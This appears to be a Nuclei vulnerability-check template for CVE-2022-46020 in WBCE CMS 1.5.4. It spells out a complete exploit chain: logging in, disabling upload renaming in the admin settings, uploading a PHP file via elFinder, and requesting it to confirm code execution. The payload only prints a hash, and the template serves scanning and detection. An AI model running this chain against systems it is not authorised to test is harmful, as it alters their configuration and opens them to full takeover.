WBCE CMS v1.5.4 - Remote Code Execution

id: CVE-2022-46020

info:
  name: WBCE CMS v1.5.4 - Remote Code Execution
  author: theamanrawat
  severity: critical
  description: |
    WBCE CMS v1.5.4 can implement getshell by modifying the upload file type.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Upgrade to a patched version of WBCE CMS v1.5.5 or later to mitigate this vulnerability.
  reference:
    - https://github.com/WBCE/WBCE_CMS
    - https://github.com/10vexh/Vulnerability/blob/main/WBCE%20CMS%20v1.5.4%20getshell.pdf
    - https://nvd.nist.gov/vuln/detail/CVE-2022-46020
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-46020
    cwe-id: CWE-434
    epss-score: 0.38953
    epss-percentile: 0.98408
    cpe: cpe:2.3:a:wbce:wbce_cms:1.5.4:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 6
    vendor: wbce
    product: wbce_cms
  tags: cve,cve2022,rce,wbce,cms,authenticated,intrusive,vuln

http:
  - raw:
      - |
        GET /admin/login/index.php HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /admin/login/index.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        url=&username_fieldname={{username_fieldname}}&password_fieldname={{password_fieldname}}&{{username_fieldname}}={{username}}&{{password_fieldname}}={{password}}&submit=Login
      - |
        GET /admin/settings/index.php?advanced=yes HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /admin/settings/save.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        advanced=yes&formtoken={{formtoken}}&website_title=test&website_description=&website_keywords=&website_header=&website_footer=&page_level_limit=4&page_trash=inline&page_languages=false&multiple_menus=true&home_folders=true&manage_sections=true&section_blocks=true&intro_page=false&homepage_redirection=false&smart_login=true&frontend_login=false&redirect_timer=1500&frontend_signup=false&er_level=E0&wysiwyg_editor=ckeditor&default_language=EN&default_charset=utf-8&default_timezone=0&default_date_format=d.m.Y&default_time_format=H%3Ai&default_template=wbcezon&default_theme=wbce_flat_theme&search=public&search_template=&search_footer=&search_max_excerpt=15&search_time_limit=0&page_spacer=-&app_name={{app_name}}&sec_anchor=wbce_&pages_directory=%2Fpages&media_directory=%2Fmedia&page_extension=.php&rename_files_on_upload=
      - |
        POST /modules/elfinder/ef/php/connector.wbce.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=---------------------------213974337328367932543216511988

        -----------------------------213974337328367932543216511988
        Content-Disposition: form-data; name="reqid"

        test
        -----------------------------213974337328367932543216511988
        Content-Disposition: form-data; name="cmd"

        upload
        -----------------------------213974337328367932543216511988
        Content-Disposition: form-data; name="target"

        l1_Lw
        -----------------------------213974337328367932543216511988
        Content-Disposition: form-data; name="upload[]"; filename="{{randstr}}.php"
        Content-Type: application/x-php

        <?php

        echo md5("CVE-2022-46020");

        ?>

        -----------------------------213974337328367932543216511988
        Content-Disposition: form-data; name="mtime[]"

        test
        -----------------------------213974337328367932543216511988--
      - |
        GET /media/{{randstr}}.php HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_6
        words:
          - 751a8ba516522786d551075a092a7a84

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: username_fieldname
        group: 1
        regex:
          - name="username_fieldname" value="(.*)"
        internal: true
        part: body

      - type: regex
        name: password_fieldname
        group: 1
        regex:
          - name="password_fieldname" value="(.*)"
        internal: true
        part: body

      - type: regex
        name: formtoken
        group: 1
        regex:
          - name="formtoken" value="(.*)"
        internal: true
        part: body

      - type: regex
        name: app_name
        group: 1
        regex:
          - name="app_name" value="(.*)"
        internal: true
        part: body
# digest: 490a0046304402206e128db9d725e57fa2daade7b269841e29c1e3424fa4c256c1d847333cb0abdc022026c8e8fa8be583f49045a39b5ad512a4a65cb77ed664b2c407e5bf3725f1d336:922c64590222798bb761d5b6d8e72950